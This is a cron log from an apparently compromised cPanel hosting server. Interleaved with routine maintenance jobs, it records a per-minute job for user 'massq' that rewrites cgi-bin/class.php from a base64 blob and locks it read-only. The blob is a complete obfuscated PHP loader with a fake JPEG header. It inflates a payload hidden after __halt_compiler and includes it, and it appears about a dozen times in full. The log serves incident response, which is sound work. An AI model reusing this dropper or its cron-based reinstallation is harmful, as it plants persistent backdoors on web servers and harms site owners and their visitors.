Sep  1 23:24:01 server CROND[5588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:25:01 server CROND[5980]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 23:25:01 server CROND[5992]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 23:25:01 server CROND[6000]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:25:01 server CROND[6001]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 23:25:01 server CROND[6002]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:25:01 server CROND[5999]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 23:25:01 server CROND[6003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:26:01 server CROND[6773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:26:01 server CROND[6772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:26:01 server CROND[6774]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:27:01 server CROND[7130]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 23:27:01 server CROND[7132]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:27:01 server CROND[7131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:27:01 server CROND[7133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:28:01 server CROND[7553]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:28:01 server CROND[7554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:28:01 server CROND[7555]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:29:01 server CROND[7969]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:29:01 server CROND[7971]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:29:01 server CROND[7970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:30:01 server CROND[8353]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 23:30:01 server CROND[8354]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 23:30:01 server CROND[8356]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 23:30:01 server CROND[8360]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 23:30:01 server CROND[8362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:30:01 server CROND[8363]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:30:01 server CROND[8365]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 23:30:01 server CROND[8361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:31:01 server CROND[9184]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:31:01 server CROND[9185]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:31:01 server CROND[9186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:32:01 server CROND[9566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:32:01 server CROND[9567]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:32:01 server CROND[9565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:33:01 server CROND[10004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:33:01 server CROND[10003]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:33:01 server CROND[10005]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:34:01 server CROND[10465]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:34:01 server CROND[10466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:34:01 server CROND[10467]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:35:01 server CROND[10888]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 23:35:01 server CROND[10889]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 23:35:01 server CROND[10893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:35:01 server CROND[10892]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:35:01 server CROND[10896]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 23:35:01 server CROND[10897]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 23:35:01 server CROND[10894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:35:01 server CROND[10895]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 23:35:01 server CROND[10898]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
